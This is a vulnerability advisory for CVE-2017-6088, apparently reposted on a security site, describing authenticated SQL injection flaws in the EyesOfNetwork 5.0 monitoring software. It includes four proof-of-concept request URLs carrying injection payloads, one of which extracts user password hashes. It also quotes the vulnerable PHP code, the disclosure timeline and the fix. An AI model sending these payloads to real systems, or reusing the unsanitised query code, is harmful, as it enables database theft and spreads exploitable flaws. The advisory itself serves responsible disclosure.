EON 5.0 SQL Injection

2017.03.24
Credit: Nicolas SERRA
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# [CVE-2017-6088] EON 5.0 Multiple SQL Injection ## Description EyesOfNetwork ("EON") is an OpenSource network monitoring solution. ## SQL injection (authenticated) The Eonweb code does not correctly filter arguments, allowing authenticated users to inject arbitrary SQL requests. **CVE ID**: CVE-2017-6088 **Access Vector**: remote **Security Risk**: medium **Vulnerability**: CWE-89 **CVSS Base Score**: 6.0 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L ### Proof of Concept 1 (root privileges) The following HTTP request allows an attacker (connected as administrator) to dump the database contents using SQL injections inside either the `bp_name` or the `display` parameter. These requests are executed with MySQL root privileges. ``` https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=&display=%27or%271%27=%271 https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=%27or%271%27=%271&display=1 ``` #### Vulnerable code The vulnerable code can be found inside the `module/monitoring_ged/ged_functions.php` file, line 114: ``` function list_process($bp,$display,$bdd){ $sql = "select name from bp where is_define = 1 and name!='".$bp."' and priority = '" . $display . "'"; $req = $bdd->query($sql); $process = $req->fetchall(); echo json_encode($process); } ``` ### Proof of Concept 2 The following HTTP request allows an attacker to dump the database contents using SQL injections inside the `type` parameter: ``` https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1%27+AND+(SELECT+sleep(5))+AND+%271%27=%271&owner=&filter=equipment&search=&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time= ``` #### Vulnerable code The vulnerable code can be found inside the `module/monitoring_ged/ajax.php` file, line 64: ``` if($_GET["type"] == 0){ $ged_where = "WHERE pkt_type_id!='0'"; } else { $ged_where = "WHERE pkt_type_id='".$_GET["type"]."'"; } $gedsql_result1=sqlrequest($database_ged,"SELECT pkt_type_id,pkt_type_name FROM pkt_type $ged_where AND pkt_type_id<'100';"); ``` ### Proof of Concept 3 The following HTTP request allows an attacker to dump the database contents using SQL injections inside the `search` parameter: ``` https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1&owner=&filter=equipment&search='+AND+(select+sleep(5))+AND+'1'='1&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time= ``` #### Vulnerable code The vulnerable code can be found inside the `module/monitoring_ged/ged_functions.php` file, line 129. ``` if($search != ""){ $like = ""; if( substr($search, 0, 1) === '*' ){ $like .= "%"; } $like .= trim($search, '*'); if ( substr($search, -1) === '*' ) { $like .= "%"; } $where_clause .= " AND $filter LIKE '$like'"; } ``` ### Proof of Concept 4 The following HTTP request allows an attacker to dump the database contents using SQL injections inside the `equipment` parameter: ``` https://eonweb.local/module/monitoring_ged/ged_actions.php?action=advancedFilterSearch&filter=(select+user_passwd+from+eonweb.users+limit 1)&queue=history ``` #### Vulnerable code The vulnerable code can be found inside the `module/monitoring_ged/ged_functions.php` file, line 493: ``` $gedsql_result1=sqlrequest($database_ged,"SELECT pkt_type_id,pkt_type_name FROM pkt_type WHERE pkt_type_id!='0' AND pkt_type_id<'100';"); while($ged_type = mysqli_fetch_assoc($gedsql_result1)){ $sql = "SELECT DISTINCT $filter FROM ".$ged_type["pkt_type_name"]."_queue_".$queue; $results = sqlrequest($database_ged, $sql); while($result = mysqli_fetch_array($results)){ if( !in_array($result[$filter], $datas) && $result[$filter] != "" ){ array_push($datas, $result[$filter]); } } } ``` ## Timeline (dd/mm/yyyy) * 01/10/2016 : Initial discovery. * 09/10/2016 : Fisrt contact with vendor. * 23/10/2016 : Technical details sent to the security contact. * 27/10/2016 : Vendor akwnoledgement and first patching attempt. * 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed. * 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our repsonsible disclosure agreement. * 14/03/2017 : Public disclosure. Thank you to EON for the fast response. ## Solution Update to version 5.1. ## Affected versions * Version <= 5.0 ## Credits * Nicolas SERRA <n.serra@sysdream.com> -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top